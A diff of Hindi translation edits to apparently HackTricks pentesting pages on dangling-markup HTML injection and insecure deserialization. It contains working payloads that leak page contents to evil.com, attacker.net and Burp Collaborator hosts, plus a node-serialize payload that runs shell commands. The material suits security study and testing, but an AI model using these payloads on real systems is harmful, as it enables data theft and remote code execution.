||||
## CSP नीतियों की ऑनलाइन जांच
|
||||
## CSP नीतियों की ऑनलाइन जांच करना
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
@ -4,16 +4,16 @@
|
||||
|
||||
## Resume
|
||||
|
||||
यह तकनीक तब उपयोग की जा सकती है जब **HTML injection पाया जाता है**। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/)को शोषित करने के लिए लेकिन आप **कुछ HTML टैग्स** इंजेक्ट कर सकते हैं।\
|
||||
यह तकनीक तब उपयोग की जा सकती है जब **HTML injection पाया जाता है**। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/)को शोषण करने के लिए लेकिन आप **कुछ HTML टैग्स** को **inject** कर सकते हैं।\
|
||||
यह तब भी उपयोगी है जब कुछ **गुप्त जानकारी स्पष्ट पाठ में** HTML में सहेजी गई हो और आप इसे **exfiltrate** करना चाहते हैं, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हैं।
|
||||
|
||||
यहां कई तकनीकें टिप्पणी की गई हैं जिन्हें कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/) को बायपास करने के लिए अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करने के लिए उपयोग किया जा सकता है।
|
||||
यहां टिप्पणी की गई कई तकनीकों का उपयोग कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/) को बायपास करने के लिए अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करने के लिए किया जा सकता है।
|
||||
|
||||
## Main Applications
|
||||
|
||||
### Stealing clear text secrets
|
||||
|
||||
यदि आप `<img src='http://evil.com/log.cgi?` इंजेक्ट करते हैं जब पृष्ठ लोड होता है, तो पीड़ित आपको इंजेक्ट किए गए `img` टैग और कोड के भीतर अगले उद्धरण के बीच का सभी कोड भेज देगा। यदि किसी तरह उस टुकड़े में एक गुप्त जानकारी है, तो आप इसे चुरा लेंगे (आप एक डबल उद्धरण का उपयोग करके भी वही कर सकते हैं, देखें कि कौन सा उपयोग करना अधिक दिलचस्प हो सकता है)।
|
||||
यदि आप `<img src='http://evil.com/log.cgi?` inject करते हैं जब पृष्ठ लोड होता है, तो पीड़ित आपको injected `img` टैग और कोड के अंदर अगले उद्धरण के बीच का सभी कोड भेज देगा। यदि किसी तरह उस टुकड़े में एक गुप्त जानकारी है, तो आप इसे चुरा लेंगे (आप एक डबल उद्धरण का उपयोग करके भी यही कर सकते हैं, देखें कि कौन सा उपयोग करना अधिक दिलचस्प हो सकता है)।
|
||||
|
||||
यदि `img` टैग निषिद्ध है (उदाहरण के लिए CSP के कारण) तो आप `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` का भी उपयोग कर सकते हैं।
|
||||
```html
|
||||
@ -23,7 +23,7 @@
|
||||
```
|
||||
ध्यान दें कि **Chrome HTTP URLs** को "<" या "\n" के साथ ब्लॉक करता है, इसलिए आप "ftp" जैसे अन्य प्रोटोकॉल स्कीमों को आजमा सकते हैं।
|
||||
|
||||
आप CSS `@import` का भी दुरुपयोग कर सकते हैं (यह सभी कोड को तब तक भेजेगा जब तक कि यह ";" नहीं ढूंढ ले
|
||||
आप CSS `@import` का भी दुरुपयोग कर सकते हैं (यह सभी कोड को तब तक भेजेगा जब तक कि यह ";" नहीं ढूंढ लेता)।
|
||||
```html
|
||||
<style>@import//hackvertor.co.uk? <--- Injected
|
||||
<b>steal me!</b>;
|
||||
@ -49,7 +49,7 @@ steal me'<b>test</b>
|
||||
|
||||
### फॉर्म चुराना 3
|
||||
|
||||
बटन URL को बदल सकता है जहाँ फॉर्म की जानकारी भेजी जाएगी "formaction" विशेषता के साथ:
|
||||
बटन "formaction" विशेषता के साथ उस URL को बदल सकता है जहाँ फॉर्म की जानकारी भेजी जाएगी:
|
||||
```html
|
||||
<button name="xss" type="submit" formaction="https://google.com">
|
||||
I get consumed!
|
||||
@ -65,7 +65,7 @@ I get consumed!
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
और यह इनपुट फ़ील्ड HTML में इसके डबल कोट के बीच और अगले डबल कोट के बीच सभी सामग्री को समाहित करेगा। यह हमला "_**स्पष्ट पाठ रहस्यों की चोरी**_" को "_**फार्म2 की चोरी**_" के साथ मिलाता है।
|
||||
और यह इनपुट फ़ील्ड अपने डबल कोट के बीच और अगले डबल कोट के बीच सभी सामग्री को शामिल करेगा। यह हमला "_**स्पष्ट पाठ रहस्यों की चोरी**_" को "_**फार्म2 की चोरी**_" के साथ मिलाता है।
|
||||
|
||||
आप एक फ़ॉर्म और एक `<option>` टैग इंजेक्ट करके वही कर सकते हैं। सभी डेटा जब तक एक बंद `</option>` नहीं मिल जाता, भेजा जाएगा:
|
||||
```html
|
||||
@ -88,9 +88,9 @@ I get consumed!
|
||||
```
|
||||
### स्पष्ट पाठ रहस्यों को noscript के माध्यम से चुराना
|
||||
|
||||
`<noscript></noscript>` एक टैग है जिसका सामग्री उस समय व्याख्यायित किया जाएगा जब ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता है (आप [chrome://settings/content/javascript](chrome://settings/content/javascript) में Chrome में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।
|
||||
`<noscript></noscript>` एक टैग है जिसका सामग्री उस समय व्याख्यायित किया जाएगा जब ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता (आप [chrome://settings/content/javascript](chrome://settings/content/javascript) में Chrome में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।
|
||||
|
||||
एक तरीका है वेब पृष्ठ की सामग्री को इंजेक्शन के बिंदु से नीचे तक एक हमलावर द्वारा नियंत्रित साइट पर निकालने का, यह इंजेक्ट करना:
|
||||
एक तरीका है वेब पृष्ठ की सामग्री को इंजेक्शन के बिंदु से नीचे तक एक हमलावर द्वारा नियंत्रित साइट पर निकालने का, यह इंजेक्ट करके:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
@ -101,8 +101,8 @@ I get consumed!
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
ध्यान दें कि आप **शिकार** से **एक लिंक पर क्लिक करने** के लिए कहेंगे जो उसे **पेलोड** की ओर **रीडायरेक्ट** करेगा जिसे आप नियंत्रित करते हैं। यह भी ध्यान दें कि **`base`** टैग के अंदर **`target`** विशेषता में **HTML सामग्री** अगले एकल उद्धरण तक होगी।\
|
||||
इससे यह होगा कि यदि लिंक पर क्लिक किया जाता है तो **`window.name`** का **मान** सभी **HTML सामग्री** होगा। इसलिए, चूंकि आप उस पृष्ठ को **नियंत्रित** करते हैं जिस पर शिकार लिंक पर क्लिक करके पहुंच रहा है, आप उस **`window.name`** तक पहुंच सकते हैं और उस डेटा को **एक्सफिल्ट्रेट** कर सकते हैं:
|
||||
ध्यान दें कि आप **शिकार** से **एक लिंक पर क्लिक** करने के लिए कहेंगे जो उसे **पुनर्निर्देशित** करेगा उस **पेलोड** की ओर जो आपके द्वारा नियंत्रित है। यह भी ध्यान दें कि **`base`** टैग के अंदर **`target`** विशेषता में **HTML सामग्री** होगी अगली एकल उद्धरण तक।\
|
||||
इससे यह होगा कि यदि लिंक पर क्लिक किया जाता है तो **`window.name`** का **मान** सभी **HTML सामग्री** होगा। इसलिए, चूंकि आप उस पृष्ठ को **नियंत्रित** करते हैं जहाँ शिकार लिंक पर क्लिक करके पहुँच रहा है, आप उस **`window.name`** तक पहुँच सकते हैं और उस डेटा को **एक्सफिल्ट्रेट** कर सकते हैं:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
|
||||
```
|
||||
### Misleading script workflow 1 - HTML namespace attack
|
||||
|
||||
HTML के अंदर एक नया टैग डालें जिसमें एक आईडी हो जो अगले टैग को ओवरराइट करेगा और एक ऐसा मान होगा जो स्क्रिप्ट के प्रवाह को प्रभावित करेगा। इस उदाहरण में, आप यह चुन रहे हैं कि किसके साथ जानकारी साझा की जाएगी:
|
||||
HTML के अंदर एक नया टैग डालें जिसमें एक आईडी हो जो अगले टैग को ओवरराइट करेगा और एक ऐसा मान होगा जो स्क्रिप्ट के प्रवाह को प्रभावित करेगा। इस उदाहरण में, आप यह चुन रहे हैं कि जानकारी किसके साथ साझा की जाएगी:
|
||||
```html
|
||||
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
|
||||
Share this status update with: ← Legitimate optional element of a dialog
|
||||
@ -120,9 +120,9 @@ Share this status update with: ← Legitimate optional element of a dialog
|
||||
... function submit_status_update() { ... request.share_with =
|
||||
document.getElementById('share_with').value; ... }
|
||||
```
|
||||
### Misleading script workflow 2 - Script namespace attack
|
||||
### भ्रामक स्क्रिप्ट कार्यप्रवाह 2 - स्क्रिप्ट नामस्थान हमला
|
||||
|
||||
जावास्क्रिप्ट नामस्थान के अंदर वेरिएबल बनाने के लिए HTML टैग्स डालें। फिर, यह वेरिएबल एप्लिकेशन के प्रवाह को प्रभावित करेगा:
|
||||
जावास्क्रिप्ट नामस्थान के अंदर HTML टैग डालकर वेरिएबल बनाएं। फिर, यह वेरिएबल एप्लिकेशन के प्रवाह को प्रभावित करेगा:
|
||||
```html
|
||||
<img id="is_public" /> ← Injected markup ... // Legitimate application code
|
||||
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
|
||||
@ -150,7 +150,7 @@ set_sharing({ ... })
|
||||
```
|
||||
### Iframe का दुरुपयोग
|
||||
|
||||
एक बाल दस्तावेज़ में अपने माता-पिता की `location` संपत्ति को देखने और संशोधित करने की क्षमता होती है, यहां तक कि क्रॉस-ओरिजिन स्थितियों में भी। यह एक **iframe** के भीतर एक स्क्रिप्ट को एम्बेड करने की अनुमति देता है जो क्लाइंट को किसी भी पृष्ठ पर पुनर्निर्देशित कर सकता है:
|
||||
एक बाल दस्तावेज़ में अपने माता-पिता की `location` प्रॉपर्टी को देखने और संशोधित करने की क्षमता होती है, यहां तक कि क्रॉस-ओरिजिन स्थितियों में भी। यह एक **iframe** के भीतर एक स्क्रिप्ट को एम्बेड करने की अनुमति देता है जो क्लाइंट को किसी भी पृष्ठ पर पुनर्निर्देशित कर सकता है:
|
||||
```html
|
||||
<html>
|
||||
<head></head>
|
||||
@ -161,9 +161,9 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
इसका समाधान कुछ इस तरह किया जा सकता है: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
इससे कुछ इस तरह से निपटा जा सकता है: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
एक iframe का दुरुपयोग करके एक अलग पृष्ठ से संवेदनशील जानकारी को **iframes नाम विशेषता का उपयोग करके** लीक किया जा सकता है। इसका कारण यह है कि आप एक iframe बना सकते हैं जो स्वयं को iframe करता है, HTML इंजेक्शन का दुरुपयोग करते हुए जो **संवेदनशील जानकारी को iframe नाम विशेषता के अंदर प्रदर्शित करता है** और फिर उस नाम को प्रारंभिक iframe से एक्सेस करके लीक कर सकते हैं।
|
||||
एक iframe का दुरुपयोग करके एक अलग पृष्ठ से संवेदनशील जानकारी लीक की जा सकती है **iframes नाम विशेषता का उपयोग करके**। इसका कारण यह है कि आप एक iframe बना सकते हैं जो स्वयं को iframe करता है, HTML इंजेक्शन का दुरुपयोग करते हुए जो **संवेदनशील जानकारी को iframe नाम विशेषता के अंदर प्रदर्शित करता है** और फिर उस नाम को प्रारंभिक iframe से एक्सेस करके लीक कर सकते हैं।
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
@ -182,12 +182,12 @@ For more info check [https://portswigger.net/research/bypassing-csp-with-danglin
|
||||
|
||||
आप **`meta http-equiv`** का उपयोग **कई क्रियाएँ** करने के लिए कर सकते हैं जैसे कि एक Cookie सेट करना: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` या एक रीडायरेक्ट करना (इस मामले में 5 सेकंड में): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
|
||||
इससे **बचाव** किया जा सकता है एक **CSP** के साथ जो **http-equiv** को नियंत्रित करता है ( `Content-Security-Policy: default-src 'self';`, या `Content-Security-Policy: http-equiv 'self';`)
|
||||
इसे **CSP** के साथ **टाला** जा सकता है जो **http-equiv** से संबंधित है ( `Content-Security-Policy: default-src 'self';`, या `Content-Security-Policy: http-equiv 'self';`)
|
||||
|
||||
### New \<portal HTML tag
|
||||
|
||||
आप \<portal टैग की exploitable vulnerabilities पर एक बहुत **दिलचस्प शोध** [यहाँ](https://research.securitum.com/security-analysis-of-portal-element/) पा सकते हैं।\
|
||||
इस लेखन के समय, आपको Chrome में `chrome://flags/#enable-portals` पर portal टैग सक्षम करना होगा या यह काम नहीं करेगा।
|
||||
इस लेखन के समय, आपको `chrome://flags/#enable-portals` में Chrome पर portal टैग सक्षम करना होगा या यह काम नहीं करेगा।
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
@ -197,7 +197,7 @@ HTML में कनेक्टिविटी लीक करने के
|
||||
|
||||
## SS-Leaks
|
||||
|
||||
यह **dangling markup और XS-Leaks** के बीच का एक **मिश्रण** है। एक तरफ, यह भेद्यता **HTML** (लेकिन JS नहीं) को **same origin** के एक पृष्ठ में **inject** करने की अनुमति देती है, जिसे हम हमलावर करेंगे। दूसरी तरफ, हम उस पृष्ठ पर **सीधे हमला** नहीं करेंगे जहाँ हम HTML inject कर सकते हैं, बल्कि **दूसरे पृष्ठ** पर।
|
||||
यह **dangling markup और XS-Leaks** के बीच का एक **मिश्रण** है। एक तरफ, यह भेद्यता **HTML** (लेकिन JS नहीं) को **same origin** के एक पृष्ठ में **inject** करने की अनुमति देती है, जिसे हम हमले का लक्ष्य बनाएंगे। दूसरी तरफ, हम उस पृष्ठ पर **सीधे हमला** नहीं करेंगे जहाँ हम HTML inject कर सकते हैं, बल्कि **दूसरे पृष्ठ** पर।
|
||||
|
||||
{{#ref}}
|
||||
ss-leaks.md
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। इस तकनीक का सामान्यत: उपयोग यह सुनिश्चित करने के लिए किया जाता है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
|
||||
**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना है या इसे संचार प्रक्रिया के एक भाग के रूप में प्रसारित करना है। यह तकनीक आमतौर पर यह सुनिश्चित करने के लिए उपयोग की जाती है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
|
||||
|
||||
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जिसे एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
|
||||
|
||||
@ -14,10 +14,10 @@ Deserialization खतरनाक हो सकता है क्योंक
|
||||
|
||||
PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट जादुई विधियों का उपयोग किया जाता है:
|
||||
|
||||
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक ऐरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्यत: उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
|
||||
- `__wakeup`: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए किया जाता है।
|
||||
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक एरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्य उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
|
||||
- `__wakeup`: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।
|
||||
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण प्रदान करती है।
|
||||
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
|
||||
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्य उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
|
||||
- `__toString`: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का एक पाठ्य प्रतिनिधित्व प्रदान करता है।
|
||||
```php
|
||||
<?php
|
||||
@ -77,7 +77,7 @@ This is a test<br />
|
||||
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** तब कॉल किए जाते हैं जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि **`__toString`** फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह **अब नहीं हो रहा है**।
|
||||
|
||||
> [!WARNING]
|
||||
> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** विधि **`__wakeup()`** के बजाय कॉल की जाती है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देती है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस विधि का उपयोग प्रॉपर्टीज़ को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
|
||||
> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** विधि **`__wakeup()`** के बजाय कॉल की जाती है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देती है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस विधि का उपयोग प्रॉपर्टीज को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -90,7 +90,7 @@ This is a test<br />
|
||||
> }
|
||||
> ```
|
||||
|
||||
आप एक स्पष्ट **PHP उदाहरण यहाँ पढ़ सकते हैं**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), यहाँ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) या यहाँ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
आप एक समझाया हुआ **PHP उदाहरण यहाँ** पढ़ सकते हैं: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), यहाँ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) या यहाँ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
@ -117,13 +117,13 @@ $ser=serialize($o);
|
||||
```
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) आपको PHP deserialization का दुरुपयोग करने के लिए payloads उत्पन्न करने में मदद कर सकता है।\
|
||||
ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे** लेकिन आप **बाहरी PHP एक्सटेंशन के कोड का दुरुपयोग कर सकते हैं।**\
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) आपको PHP deserializations का दुरुपयोग करने के लिए payloads उत्पन्न करने में मदद कर सकता है।\
|
||||
ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे** लेकिन आप **बाहरी PHP एक्सटेंशनों के कोड का दुरुपयोग कर सकते हैं।**\
|
||||
तो, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **इंटरनेट पर खोजें** (यहां तक कि **PHPGGC** के **gadgets** पर) कुछ संभावित gadgets जिन्हें आप दुरुपयोग कर सकते हैं।
|
||||
|
||||
### phar:// metadata deserialization
|
||||
|
||||
यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर के php कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए _**file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_**।** आप **phar** प्रोटोकॉल का उपयोग करके **फ़ाइल** पढ़ते समय होने वाली **deserialization** का दुरुपयोग करने की कोशिश कर सकते हैं।\
|
||||
यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर के php कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए _**file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_**।** आप **phar** प्रोटोकॉल का उपयोग करके **फ़ाइल** पढ़ते समय होने वाली **deserialization** का दुरुपयोग करने का प्रयास कर सकते हैं।\
|
||||
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### यामल **&** jsonpickle
|
||||
|
||||
निम्नलिखित पृष्ठ **यामल** python पुस्तकालयों में **असुरक्षित डेसिरियलाइजेशन का दुरुपयोग करने की तकनीक** प्रस्तुत करता है और **पिक्ल, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE डेसिरियलाइजेशन पेलोड उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
|
||||
निम्नलिखित पृष्ठ **यामल** python पुस्तकालयों में **असुरक्षित डेसिरियलाइजेशन का दुरुपयोग करने** की तकनीक प्रस्तुत करता है और **पिक्ल, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE डेसिरियलाइजेशन पेलोड उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
@ -172,7 +172,7 @@ python-yaml-deserialization.md
|
||||
JS **"जादुई" फ़ंक्शन** नहीं रखता है जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ **फ़ंक्शन** हैं जो **प्रत्यक्ष रूप से कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
|
||||
यदि आप एक डेसिरियलाइजेशन का दुरुपयोग करते हैं तो आप **इन फ़ंक्शनों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) आप जब इन्हें कॉल करते हैं तो मनमाना कोड निष्पादित कर सकते हैं।
|
||||
|
||||
एक और **"जादुई" तरीका एक फ़ंक्शन को कॉल करने का** बिना सीधे कॉल किए **एक ऑब्जेक्ट को समझौता करना है जो एक async फ़ंक्शन** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक फ़ंक्शन प्रकार की प्रॉपर्टी** के साथ **परिवर्तित** करते हैं, तो यह **निष्पादित** होगा केवल इसलिए कि यह एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
|
||||
एक और **"जादुई" तरीका एक फ़ंक्शन को कॉल करने का** बिना इसे सीधे कॉल किए **एक ऑब्जेक्ट को समझौता करना है जो एक async फ़ंक्शन** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक फ़ंक्शन प्रकार की प्रॉपर्टी** के साथ **परिवर्तित** करते हैं, तो यह **निष्पादित** होगा बस इसलिए कि यह एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -235,7 +235,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
हालांकि, **सिर्फ फ़ंक्शन को सीरियलाइज़ करना** **इसे निष्पादित नहीं करेगा** क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग **`y.rce` को कॉल कर रहा हो** हमारे उदाहरण में और यह अत्यधिक **असंभव** है।\
|
||||
वैसे, आप बस **सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं** **कुछ कोष्ठकों को जोड़कर** ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।\
|
||||
अगले कोड के टुकड़े में **अंतिम कोष्ठक पर ध्यान दें** और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
|
||||
अगले कोड के टुकड़े में **अंतिम कोष्ठक** पर ध्यान दें और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
जैसा कि पहले संकेत दिया गया था, यह पुस्तकालय `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगा और इसे `eval` का उपयोग करके **निष्पादित करेगा**। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **कार्य निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल पंक्ति** निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
|
||||
जैसा कि पहले संकेत दिया गया था, यह पुस्तक `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगी और इसे `eval` का उपयोग करके **निष्पादित** करेगी। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **कार्य निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल पंक्ति निष्पादित** कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -313,11 +313,11 @@ deserialize(test)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
Java में, **deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं**। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो ऐसे दुर्भावनापूर्ण payloads तैयार करते हैं जो इन callbacks को ट्रिगर करते हैं, जिससे हानिकारक क्रियाओं के संभावित निष्पादन की संभावना होती है।
|
||||
